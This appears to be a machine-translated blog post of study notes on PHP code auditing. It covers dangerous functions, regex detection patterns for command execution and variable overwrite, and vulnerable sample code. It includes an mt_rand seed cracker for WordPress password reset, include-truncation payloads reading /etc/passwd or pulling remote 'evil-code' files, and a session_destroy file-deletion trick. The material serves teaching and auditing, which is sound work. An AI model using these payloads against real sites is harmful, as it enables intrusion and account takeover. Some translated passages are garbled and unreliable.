Code Audit Series: Study Notes on Audit Ideas

table of Contents

Preface

Some ideas for learning to record code audit

1. Basic code audit

1. Code audit ideas

First of all, we must know what is the root of the program

  • function
  • variable

Our code audit is focused on these two things. To make them an exploitable vulnerability, the key is

  • Controllable variable
  • Variables reach useful functions (hazard functions)

Generally speaking, the effect of exploiting the vulnerability depends on the function of the final function

General operations after getting a cms:

  • If it has not been audited before, read through the code first, and then write a mind map (that is, write directory comments), look at the directory and the corresponding function files, and list them one by one (that is, write code comments), and get a clear overview s frame
  • If it is audited before, go directly to the tool and go through the dangerous function

Some tools:

Next is the audit, there are two lines:

  • Audit according to specific functions
  • Audit by vulnerability type

(1) Audit according to specific functions

It corresponds to the good mark when we read through the code

For example, upload corresponds to the upload function, then our first choice should start to find upload

For example move_uploaded_file(), if there is a function name , then see if the code that calls this function exists as a restricted upload format or can be bypassed

Unfiltered or locally filtered: server-side is not filtered, directly upload the file in PHP format to use

Blacklist extension filter:
limit is not comprehensive enough: IIS default support for parsing .asp, .cdx, .asa, .cerand so on.
The extension can be bypassed: the file format is not allowed .php, but we can upload the file name 1.php(note that there is a space after it)

Content-type header authentication bypass:
getimagesize()function: As long as the validation header GIF89a, returns true if the
limit $_FILES["file"]["type"]value is the content-type artificial limitations controllable variables

Prevention:
Use in_array()or use three equals to ===compare the extension to
save the uploaded file is to rename, and the rule uses timestamp to splice random numbers:md5(time() + rand(1,1000))

(2) Audit according to the vulnerability type

This is well understood, command execution, code execution, sql injection, file operations (including upload, read, download, etc.), variable coverage, xss

  • PHP function to perform system commands can be systemused: exec, passthru, , shell_exec, popen, ,proc_open , ,pcntl_exec
  • PHP may have functions for code execution: evalpreg_replace+/eassertcall_user_func
    call_user_func_array , ,create_function
  • SQL injection usually find the SQL statement insertkeywords: delete, ,update , ,select
  • PHP function file contains may includeoccur: include_once, require, require_once,
    show_source, highlight_file, readfile, file_get_contents, ,fopen , ,nt>file
  • PHP variable coverage will appear in the following situations:
    traverse initialize variables: foreach($_GET as $key => $value);$$key = $value;
    function covering variables: parse_str, mb_parse_str,import_request_variables
    Register_globals=ON when, GET submission variables directly cover
  • PHP file copyreads: rmdir, unlink, delete, fwrite, chmod, fgetc, fgetcsv, fgets, fgetss, file, file_get_contents, fread, readfile, ftruncate, file_put_contents, fputcsv, ,fputs
  • PHP file upload: move_uploaded_file()Then see if the code that calls this function exists as a restricted upload format or can be bypassed

Usually it is to get started with a useful audit tool, and then write the regular, from the high-risk function back to the Model layer and then to the Control layer, and finally locate the trigger position of the vulnerability

  • Dual $$variable coverage
(?:extract|parse_str)\s{0,5}\(.{0,50}\$

\$\$

\${{0,1}\$\w{1,20}((\[["']|\[)\${0,1}[\w\[\]"']{0,30}){0,1}\s{0,4}=\s{0,4}.{0,20}\$\w{1,20}((\[["']|\[)\${0,1}[\w\[\]"']{0,30}){0,1}
  • array_map code execution
\barray_map\s{0,4}\(\s{0,4}.{0,20}\$\w{1,20}((\[["']|\[)\${0,1}[\w\[\]"']{0,30}){0,1}\s{0,4}.{0,20},

(?:\beval\(|assert\(|call_user_func\(|call_user_func_array\(|create_function\(|preg_replace\(\s{0,5}.*/[is]{0,2}e[is]{0,2}["']\s{0,5},(.*\$.*,|.*,.*\$))
  • Command execution
(?:\bexec\(|passthru\(|\bsystem\(|\bpopen\(|proc_open\(|proc_close\(|shell_exec\(|pcntl_exec\(|escapeshellcmd\().{0,50}\$

2. Quick audit

(1) Patch comparison

Common comparison tools:

System commands: fc, diff, etc.

Professional tools: Beyond Compare, UltraCompare, etc.

Common security patch methods:

Variable $str=‘’;initialization: , $arr=array();etc.

Variable intval/int()Filter: , addslashes(), regular, etc.

Comparison version selection:

  • Adjacent version

Commonly used methods:

1. Monitor the pages of common middleware websites that announce vulnerabilities, and you can quickly know and understand the vulnerabilities, for example

http://tomcat.apache.org/security-8.html

http://tomcat.apache.org/security-7.html

http://tomcat.apache.org/security-6.html

The pages of this kind of website are monitored with crawlers. If they are updated, for example, security-8.html is currently the latest, and when security-9.html is alive/status code 200, an event is triggered (give you Send text messages or the like), and then you can respond quickly.

It is also commonly used in CMS, such as wordpress, just to change the website.
https://core.trac.wordpress.org/query?status=closed&milestone=4.7.3&group=component&col=id&col=summary&col=component&col=status&col=owner&col=type&col=priority&col=keywords&order=priority
status and milestone.

2. Download version: All versions can be saved all the time, just like the above, just monitor. For example, for wordpress, just monitor https://wordpress.org/download/ and leave a hard disk to save all historical versions.

Middleware: Apache&Apache tomcat, Nginx, redis, Weblogic, Jboss, JOnAS, WebSphere, etc.

CMS:
abroad: wordpress, joomla, drupal, etc.
Domestic: dedecms, empire cms, situ cms, discuz, CMS, ECShop, phpcms, etc.

3. Patch comparison

First of all, we have to make sure that this version update is a security update, not a function update.
Retrieve these sensitive keywords, locate the function or xx.php, and use the audit tool to follow up the function (static analysis)
. If you enter, use seay's tools

(2) Logic loopholes business loopholes

Logic vulnerabilities or business vulnerabilities are roughly as follows:

  • Identity authentication security: brute force cracking, cookie&session, encryption test
  • Business consistency and security: mobile phone number tampering, email tampering, order ID tampering, user ID tampering, business number tampering
  • Business data tampering: financial data tampering, commodity data tampering, local js parameter tampering, maximum number limit breakthrough
  • Password recovery vulnerability
  • Verification code security
  • Business authorization security
  • Out-of-order business processes
  • Business interface call: malicious registration, content editing, SMS bombing
  • Aging bypass

Simple reference: Talking about logic loopholes

A few examples:

1, some of the error function, such empty()as: isset(), strpos(), , rename(), etc.

if($operateId == 1){
    $date = date("Ymd");
    $dest = $CONFIG->basePath."data/files/".$date."/";
    $COMMON->createDir($dest);
    //if (!is_dir($dest))   mkdir($dest, 0777);
    $nameExt = strtolower($COMMON->getFileExtName($_FILES['Filedata']['name']));
    $allowedType = array('jpg', 'gif', 'bmp', 'png', 'jpeg');
    if(!in_array($nameExt, $allowedType)){
        $msg = 0;
    } //这里的安全检查把msg赋值为0,直接就可以进入下面的if分支了
    if(empty($msg)){
        $filename = getmicrotime().'.'.$nameExt;
        $file_url = urlencode($CONFIG->baseUrl.'data/files/'.$date."/".$filename);
        $filename = $dest.$filename;
        if(empty($_FILES['Filedata']['error'])){
            move_uploaded_file($_FILES['Filedata']['tmp_name'],$filename);
        }
        if (file_exists($filename)){
            //$msg = 1;
            $msg = $file_url;
            @chmod($filename, 0444);
        }else{
            $msg = 0;
        }
    }
    $outMsg = "fileUrl=".$msg;
    $_SESSION["eoutmsg"] = $outMsg;
    exit;
}

2. Conditional competition

  • Program logic: use the copy function to generate shell.php from realfile-→delete shell.php
  • Hacker logic: copy into temp.php -> keep accessing temp.php -> temp.php to generate shell.php -> delete temp.php
if($_POST['realfile']){
    copy($_POST['realfile'],$_POST['path']);
}
$file = mb_convert_encoding($_POST[file],"GBK","UTF-8");
header("Pragma:");
header("Cache-Control:");
header("Content-type:application/octet-stream");
header("Content-Length:".filesize($_POST[path]));
header("Content-Disposition:attachment;filename=\"$file\"");
readfile($_POST[path]);
if($_POST['realfile']){
    unlink($_POST["path"]);
}

(3) Fuzzing

Fuzzing technology is an automatic software testing technology based on defect injection. It uses black-box analysis technology to use a large amount of semi-valid data as the input of the application program, and uses whether the program is abnormal as a sign to discover the possible existence of the application program. Security breach. Semi-valid data means that the necessary identification part and most of the data of the tested target program are valid, and the deliberately constructed data part is invalid. The application may make errors when processing the data, which may cause the application to crash or Trigger the corresponding security vulnerabilities.

According to the characteristics of the analysis target, Fuzzing can be divided into three categories:

Dynamic Web page Fuzzing, web programs written for ASP, PHP, Java, Perl, etc., as well as B/S architecture applications built using such technologies, the typical application software is HTTP Fuzz;

File format Fuzzing, for various file formats, the typical application software is PDF Fuzz;

Protocol Fuzzing, for network protocols, the typical application software is Fuzz for Microsoft RPC (Remote Procedure Call).

The construction method of Fuzzer software input is similar to the construction of black box testing software. Boundary values, character strings, additional character strings at the beginning and end of the file can all be used as basic construction conditions. Fuzzer software can be used to detect a variety of security vulnerabilities, including buffer overflow vulnerabilities, integer overflow vulnerabilities, format string and special character vulnerabilities, race conditions and deadlock vulnerabilities, SQL injection, cross-site scripting, RPC vulnerability attacks, files System attacks, information leakage, etc.

Some tools:

  • Browser Fuzzer 3 (bf3)
  • MantraPortable
  • Webshag
  • Wfuzz
  • WVS
  • LAN Guard
  • SQLmap

2. Advanced code audit

1. The key of the variable itself

When it comes to variable submission, many people only see the value of the variable submitted by GET/POST/COOKIE, but forget that some programs extract the key of the variable itself as a variable for processing.

<?php
//key.php?aaaa'aaa=1&bb'b=2 
//print_R($_GET); 
 foreach ($_GET AS $key => $value)
{
	print $key."\n";
}
?>

The above code extracts the key of the variable itself and displays it. For the above code, if we submit the URL:

key.php?<script>alert(1);</script>=1&bbb=2

Then it leads to a vulnerability in xss. What if this key is submitted to functions such as include() or SQL queries?

2. Variable coverage

Many vulnerability finders know that the extract() function can cause variable coverage when the specified parameter is EXTR_OVERWRITE or no function is specified, but there are many other situations that cause variable coverage, such as:

(1) Traverse the initialization variable

Please see the following code:

<?php
//var.php?a=fuck
$a='hi';
foreach($_GET as $key => $value) {
	$$key = $value;
}
print $a;
?>

Many WEB applications use the above method (note that the loop is not necessarily a foreach), such as the code of the WAP part of Discuz! 4.1:

$chs = '';
if($_POST && $charset != 'utf-8') {
	$chs = new Chinese('UTF-8', $charset);
	foreach($_POST as $key => $value) {
		$$key = $chs->Convert($value);
	}
	unset($chs);

Vulnerability audit strategy

  • PHP version requirements: none
  • System requirements: none
  • Audit strategy: read through the code

(2) parse_str()Vulnerability of variable coverage

//var.php?var=new
$var = 'init';                     
parse_str($_SERVER['QUERY_STRING']); 
print $var;

This function can also overwrite array variables. The above code is used $_SERVER['QUERY_STRING']to extract variables. For those with variable names, we can inject "=" to cover other variables:

//var.php?var=1&a[1]=var1%3d222
$var1 = 'init';
parse_str($a[$_GET['var']]);
print $var1;

The above code is submitted $varto achieve $var1the coverage.

Vulnerability audit strategy (parse_str)

  • PHP version requirements: none
  • System requirements: none
  • Audit strategy: Find the character parse_str

Vulnerability audit strategy (mb_parse_str)

  • PHP version requirements: php4<4.4.7 php5<5.2.2
  • System requirements: none
  • Audit strategy: find characters mb_parse_str

(3) import_request_variables()Vulnerability of variable coverage

//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
echo 'GLOBALS '.(int)ini_get("register_globals")."n";
import_request_variables('GPC');
if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!');
echo 'Hello admin!';

Vulnerability audit strategy (import_request_variables)

  • PHP version requirements: php4<4.4.1 php5<5.2.2
  • System requirements: none
  • Audit strategy: look for characters import_request_variables

(4) PHP5 Globals

Strictly speaking, this cannot be regarded as a vulnerability of PHP, but can only be regarded as a feature, the test code:

<?
// register_globals =ON
//foo.php?GLOBALS[foobar]=HELLO
php echo $foobar; 
?>

But many programs do not take this into consideration, please see the following code:

//为了安全取消全局变量
//var.php?GLOBALS[a]=aaaa&b=111
if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a;
print $_GET[b];

If you are familiar with WEB2.0 attacks, it is easy to think of the above code that we can use this feature to perform crsf attacks.

Vulnerability audit strategy

  • PHP version requirements: none
  • System requirements: none
  • Audit strategy: read through the code

3. Magic_quotes_gpc and code security

When opened, all '(single quotation marks), "(double quotation marks), \ (backslash) and NULL characters will be automatically escaped by adding a backslash. There are many functions that have similar effects such as: addslashes(), mysql_escape_string(), mysql_real_escape_string()etc., in addition to parse_str()the variable after also affected by the magic_quotes_gpcimpact. most of the hosts opened the option, and also note that many programmers use those functions above to filter variable, it looks very safe. many who find loopholes Or tools just give up when they encounter some function-filtered variables, but when they give up, they also let go of many fatal security vulnerabilities.

(1) Which places are not protected by magic quotation marks

1. $_SERVERVariable

The $_SERVERlack magic_quotes_gpcof protection of PHP5 variables has led to the violent X-Forwarded-For vulnerability in recent years, so many programmers consider filtering X-Forwarded-For, but what about other variables?

Vulnerability audit strategy ($_SERVER variable)

  • PHP version requirements: 5
  • System requirements: none
  • Audit strategy: lookup character _SERVER

2. getenv()Obtained variables (using similar $_SERVERvariables)

Vulnerability audit strategy (getenv())

  • PHP version requirements: none
  • System requirements: none
  • Audit strategy: find characters getenv

3. $HTTP_RAW_POST_DATA and PHP input and output streams

Mainly used in soap/xmlrpc/webpublish function, please see the following code:

if ( !isset( $HTTP_RAW_POST_DATA ) ) {
	$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
}
if ( isset($HTTP_RAW_POST_DATA) )
	$HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);

Vulnerability audit strategy (data flow)

  • PHP version requirements: none
  • System requirements: none
  • Audit strategy: look for characters HTTP_RAW_POST_DATA or php://input

4. 'Places that are easy to forget for database operations such as in()/limit/order by/group by

Such as Discuz! <5.0 pm.php:

if(is_array($msgtobuddys)) {
	$msgto = array_merge($msgtobuddys, array($msgtoid));
		......
foreach($msgto as $uid) {
	$uids .= $comma.$uid;
	$comma = ',';
}
......
$query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m
	LEFT JOIN {$tablepre}memberfields mf USING(uid)
	WHERE m.uid IN ($uids)");

Vulnerability audit strategy

  • PHP version requirements: none
  • System requirements: none
  • Audit strategy: Find database operation characters (select, update, insert, etc.)

(2) Coding and decoding of variables

The realization of many functions of a WEB program requires variable encoding and decoding, and in the process of transferring one solution to one solution, it quietly bypasses your filtering security line.

The main functions of this type are:

1. stripslashes()This is actually onedecode-addslashes()

2. Other string conversion functions:

Insert picture description here

3. Character set functions (GKB,UTF7/8...) such as iconv()/mb_convert_encoding(), etc.

At present, many vulnerability diggers are beginning to pay attention to this type of vulnerability, such as a typical urldecode:

$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";

When magic_quotes_gpc=on, we submit ?id=%2527, get sql statement is:

SELECT * FROM article WHERE articleid='''

Vulnerability audit strategy

  • PHP version requirements: none
  • System requirements: none
  • Audit strategy: find the corresponding coding function

(3) Second attack

1. The variables out of the database are not filtered

2. The escape symbol of the database

4. Code injection

(1) Functions in PHP that may cause code injection

Many people know evaland preg_replace+/ecan execute code, but they don’t know that PHP has many functions that can execute code such as:

  • assert()
  • call_user_func()
  • call_user_func_array()
  • create_function()
  • Variable function

Several codes about create_function() code execution vulnerabilities:

<?php
//how to exp this code
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = '  return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
	      ';
usort($databases, create_function('$a, $b', $sort_function));

Vulnerability audit strategy

  • PHP version requirements: none
  • System requirements: none
  • Audit strategy: find the corresponding function (assert, call_user_func, call_user_func_array, create_function, etc.)

(2) Variable functions and double quotes

Many programmers have a deep understanding of the difference between single quotes and double quotes. Sample code:

echo "$a\n";
echo '$a\n';

Let's look at the following code:

//how to exp this code
if($globals['bbc_email']){

$text = preg_replace(
		array("/\[email=(.*?)\](.*?)\[\/email\]/ies",
				"/\[email\](.*?)\[\/email\]/ies"),
		array('check_email("$1", "$2")',
				'check_email("$1", "$1")'), $text);

In addition, many applications use variables"" store in cache files or config or data files, which makes it easy for people to inject variable functions.

Vulnerability audit strategy

  • PHP version requirements: none
  • System requirements: none
  • Audit strategy: read through the code

5. PHP's own function vulnerabilities and defects

(1) Overflow vulnerability of PHP function

If it is more famous unserialize(), the code is as follows:

unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);

In previous versions of PHP, many functions have had overflow vulnerabilities, so when we audit application vulnerabilities, don't forget the PHP version information used by the test target.

Vulnerability audit strategy

  • PHP version requirements: the version of the corresponding fix
  • System requirements: Five
  • Audit strategy: find the corresponding function name

(2) Other vulnerabilities in PHP functions

Vulnerability discovered by Stefan Esser Daniel: unset()–Zend_Hash_Del_Key_Or_Index Vulnerability

For example, the code in phpwind's early serarch.php:

unset($uids);
......
$query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'");
while($member=$db->fetch_array($query)){
	$uids .= $member['uid'].',';
}
$uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 ';
........
$query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");

Vulnerability audit strategy

  • PHP version requirements: php4<4.3 php5<5.14
  • System requirements: none
  • Audit strategy: find unset

(3) session_destroy()Delete file vulnerability

Test PHP version: 5.1.2

session_destroy()The function of the function is to delete session files. The logout function of many web applications directly calls this function to delete the session, but this function lacks filtering in some old versions and can delete any file. The test code is as follows:

<?php 
//val.php   
session_save_path('./');
session_start();
if($_GET['del']) {
	session_unset();
	session_destroy();
}else{
	$_SESSION['hei']=1;
	echo(session_id());
	print_r($_SESSION);
}
?>

When we submit the construction cookie:PHPSESSID=/../1.php, it is equivalent to unlink('sess_/../1.php')this by injection../ deleting any file the jump directory. Some versions of many famous programs are affected, such as phpmyadmin, sablog, phpwind3 and so on.

Vulnerability audit strategy

  • PHP version requirements: Unknown
  • System requirements: none
  • Audit strategy: find session_destroy

(4) Random function

1. rand()VSmt_rand()

<?php
//on windows
print mt_getrandmax(); //2147483647
print getrandmax();// 32767
?>

It can be seen that the rand()largest random number is 32767, which can be easily cracked by our brute force.

<?php
$a= md5(rand());
for($i=0;$i<=32767;$i++){
  if(md5($i) ==$a ) {
   print $i."-->ok!!<br>";exit;
   }else { print $i."<br>";}
}
?>

When our program uses rand to process the session, it is easy for an attacker to brute force your session, but it is difficult for mt_rand to be brute force.

Vulnerability audit strategy

  • PHP version requirements: none
  • System requirements: none
  • Audit strategy: find rand

2. mt_srand()/srand()-weak seeding (by Stefan Esser)

Look at the description in the php manual:

mt_srand
(PHP 3 >= 3.0.6, PHP 4, PHP 5)

mt_srand -- 播下一个更好的随机数发生器种子
说明
void mt_srand ( int seed )

Use seed to seed the random number generator. Starting from PHP 4.2.0, the seed parameter has become optional. When the item is empty, it will be set to any time.

mt_srand() example

<?php
// seed with microseconds
function make_seed()
{
    list($usec, $sec) = explode(' ', microtime());
    return (float) $sec + ((float) $usec * 100000);
}
mt_srand(make_seed());
$randval = mt_rand();
?> 

Note: Since PHP 4.2.0, it is no longer necessary to seed the random number generator with the srand() or mt_srand() function, which is now done automatically.

PHP has implemented automatic seeding since 4.2.0, but for compatibility, it was seeded with a code similar to this:

mt_srand ((double) microtime() * 1000000)

But using (double)microtime()*1000000 similar code seed is more fragile:

0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000

Then it is easy to brute force, the test code is as follows:

<?php
/
//>php rand.php
//828682
//828682

ini_set("max_execution_time",0);
$time=(double) microtime()* 1000000;
print $time."\n";
mt_srand ($time);

$search_id = mt_rand();
$seed = search_seed($search_id);
print $seed;
function search_seed($rand_num) {
$max = 1000000;
for($seed=0;$seed<=$max;$seed++){
	mt_srand($seed);
	$key = mt_rand();
	if($key==$rand_num) return $seed;
}
return false;
}
?>

The above code realizes the cracking of the seed. In addition, according to Stefan Esser's analysis, the seed also changes according to process changes. In other words, the seed in the same process is the same. Then the value of mt_rand of the same seed is specific every time. As shown below:

Insert picture description here

For seed-A, mt_rand-1/2/3 are not equal, but the values ​​are all specific, that is, when seed-A is equal to seed-B, then mt_rand-A-1 is equal to mt_rand-B-1 …, so as long as we can get the seed, we can get the value of mt_rand every time.

For 5.2.6>php>4.2.0, it is not safe to directly use the default seeding program (many security personnel mistakenly think that this is safe). This should be analyzed in two cases:

'Cross Application Attacks', this idea is mentioned in Stefan Esser's article, mainly using seeding defined by other programs (such as mt_srand ((double) microtime()* 1000000)). The combination of phpbb+wordpree has such a danger.

5.2.6>php>4.2.0 The default seeding algorithm is not very powerful, this is the description in Stefan Esser's article:

The Implementation
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5 <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne Twister was changed and the forced bit removed.

On a 32-bit system, the maximum value of the seed to be sown is 2 32 by default , so that we can crack the seed by looping at most 2 32 times. There is a bug in the algorithm of PHP 4 and PHP 5 <= 5.2.0: the seeding of odd and even numbers is the same (see Appendix 3 for details), and the test code is as follows:

<?php
mt_srand(4); 
$a = mt_rand(); 
mt_srand(5); 
$b = mt_rand();
print $a."\n".$b;
?>

Found through the above code a = = a== a==b 在这里插入代码片, so the number of times we loop is 2 32 /2=2 31 times. We look at the following code:

<?php
//base on http://www.milw0rm.com/exploits/6421 
//test on php 5.2.0

define('BUGGY', 1); //上面代码$a==$b时候定义BUGGY=1

$key = wp_generate_password(20, false);
echo $key."\n";
$seed = getseed($key);
print $seed."\n"; 

mt_srand($seed);
$pass = wp_generate_password(20, false);
echo $pass."\n";	
	
function wp_generate_password($length = 12, $special_chars = true) {
	$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
	if ( $special_chars )
		$chars .= '[email protected]#$%^&*()';

	$password = '';
	for ( $i = 0; $i < $length; $i++ )
		$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
	return $password;
} 

function getseed($resetkey) {
	$max = pow(2,(32-BUGGY));
	for($x=0;$x<=$max;$x++) {
		$seed = BUGGY ? ($x << 1) + 1 : $x; 
		mt_srand($seed);
		$testkey = wp_generate_password(20,false);
		if($testkey==$resetkey) { echo "o\n"; return $seed; }

		if(!($x % 10000)) echo $x / 10000;
	}
	echo "\n";
	return false;
}
?>

The results of the operation are as follows:

php5>php rand.php
M8pzpjwCrvVt3oobAaOr
0123456789101112131415161718192021222324252627282930313233343536373839404142434
445464748495051525354555657585960616263646566676869
7071727374757677787980818283848586878889909192939495969798991001011021031041051
061071081091101111121131141151161171181191201211221
2312412512612712812913013113213313413513613713813914014114214314414514614714814
915015115215315415515615715815916016116216316416516
6167168169170171172173174175176177178179180181182183184185186187188189190191192
193194195196197198199200201202203204205206207208209
2102112122132142152162172182192202212222232242252262272282292302312322332342352
362372382392402412422432442452462472482492502512522
..............01062110622106231062410625106261062710628106291063010631106321063
3o
70693
pjwCrvVt3oobAaOr

We got the result when 10634 times.

When the PHP version reached 5.2.1, the problem of equal seeding of odd and even numbers was fixed by modifying the algorithm, which also resulted in different values ​​of the same seeded mt_rand() before and after php5.2.0. such as:

<?php
mt_srand(42);
echo mt_rand();
//php<=5.20 1387371436
//php>5.20 1354439493 		
?>

It is for this reason that the operating environment of our exp is also required: when the target is> 5.20, the environment in which our exp runs must also be the version> 5.20, and vice versa.

From the above test and analysis, php<5.26 regardless of whether there is a definition of seeding, the data processed by mt_rand is not safe. Many web applications use mt_rand to handle random sessions, such as the password retrieval function, etc. The consequence of this is that the attacker can directly modify the password by malicious use.

Many well-known programs have produced similar vulnerabilities such as wordpress, phpbb, punbb and so on. (In the following we will actually analyze the vulnerability caused by mt_srand of Discuz!, a famous domestic bbs program)

Vulnerability audit strategy

  • PHP version requirements: php4 php5<5.2.6
  • System requirements: none
  • Audit strategy: find mt_srand/mt_rand

6. Special characters

In fact, there is no specific standard definition for "special characters". They are mainly a type of characters that play a special and important role in some code hacking. Here are a few examples:

(1) include truncation

<?php 
include $_GET['action'].".php"; 
?>

Submitting "%00" in "action=/etc/passwd%00" will truncate the following ".php", but besides "%00", are there any other characters that can be used for truncation? Someone must have thought of the role of the question mark "?" in the remote included URL, and realized "pseudo truncation" by submitting "action=http://www.hacksite.com/evil-code.txt?" where "?":) , As if this doesn't look so comfortable, then we simply write a code fuzz:

<?php

var5.php代码:
include $_GET['action'].".php"; 
print strlen(realpath("./"))+strlen($_GET['action']);  
///
ini_set('max_execution_time', 0);
$str='';
for($i=0;$i<50000;$i++)
{
	$str=$str."/";

	$resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);
	//1.txt里的代码为print 'hi';
	if (strpos($resp, 'hi') !== false){
		print $i;
		exit;
	}
}
?>

After testing, the characters ".", "/" or a combination of 2 characters will be truncated at a certain length. The length of the win system and the nix system are different. When strlen(realpath("./"))+strlen($_GET['action'])the length under win is greater than 256, it will be truncated. For nix The length is 4 * 1024 = 4096. When the remote file is closed in php.ini, you can use the above techniques to include local files. (This vulnerability was first discovered by cloie#ph4nt0m.org])

(2) Data truncation

For many web application files, duplication of data is not allowed in many functions, such as user registration functions. The general application compares the registered username with the existing username in the database to see if there are duplicate data. However, we can use "data truncation" to avoid these judgments. The database is truncated during processing and causes duplicate data to be inserted.

1. Mysql SQL Column Truncation Vulnerabilities

This vulnerability was discovered by Daniel Stefan Esser. This is because when mysql's sql_mode is set to default, that is, when the STRICT_ALL_TABLES option is not enabled, MySQL will only prompt warning for inserting extra-long values, not error (if it is an error, Insertion is unsuccessful), this may cause some truncation problems. The test is as follows:

mysql> insert into truncated_test(`username`,`password`) values("admin","pass");

mysql> insert into truncated_test(`username`,`password`) values("admin           x", "new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)

mysql> select * from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
| 1 | admin      | pass     |
| 2 | admin      | new_pass |
+----+------------+----------+
2 rows in set (0.00 sec)

2. Mysql charset Truncation vulnerability
was discovered at 80sec. When mysql is storing data and processing data such as utf8, some characters cause data truncation. The test is as follows:

mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");
Query OK, 1 row affected, 1 warning (0.00 sec)

mysql> select * from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
| 1 | admin      | pass      |
| 2 | admin      | new_pass  |
| 3 | admin      | new_pass2 |
+----+------------+----------+
2 rows in set (0.00 sec)

Many web applications do not consider these issues, but simply query whether the data contains the same data before data storage, as shown in the following code:

$result = mysql_query("SELECT * from test_user where user='$user' ");
  ....
if(@mysql_fetch_array($result, MYSQL_NUM)) {
	die("already exist");
}

Vulnerability audit strategy

  • PHP version requirements: none
  • System requirements: none
  • Audit strategy: read through the code

(3) Special characters in file operations

There are many special characters in file operations that play a special role. Many web applications do not pay attention to handling these characters and cause security problems. For example, many people know that windows system file names ignore "spaces" and ".", etc. This is mainly reflected in uploading files or writing files, leading to direct writing to webshell. In addition, for the windows system, "...\" is transferred to the system and so on.

Here is a very interesting question for everyone:

//Is this code vul?
if( eregi(".php",$url) ){
	die("ERR");
}
$fileurl=str_replace($webdb[www_url],"",$url);
.....
header('Content-Disposition: attachment; filename='.$filename);

Many people have seen the problem with the above code. The program first prohibits the use of the ".php" suffix. But the following actually took a str_replace to replace it $webdbwww_urlwith empty, then we can submit " .p$webdbwww_urlhp" to spare it. What about the above code miscellaneous fix? Someone gave the following code:

$fileurl=str_replace($webdb[www_url],"",$url);
if( eregi(".php",$url) ){
	die("ERR");
}

str_replace mentioned earlier, it perfectly solves the security problem of str_replace code, but the problem is not so simple. The above code can also break through on some systems. Next, let's take a look at the following code:

<?php
for($i=0;$i<255;$i++) {
	$url = '1.ph'.chr($i);
	$tmp = @file_get_contents($url);
	if(!empty($tmp)) echo chr($i)."\r\n";
}  
?>

We run the above code on the windows system to get the following characters * <>? P p can open 1.php in the directory.

Vulnerability audit strategy

  • PHP version requirements: none
  • System requirements: none
  • Audit strategy: file reading operation function

Concluding remarks

Mainly to learn the code audit ideas of all the big guys, and then try to audit by yourself

reference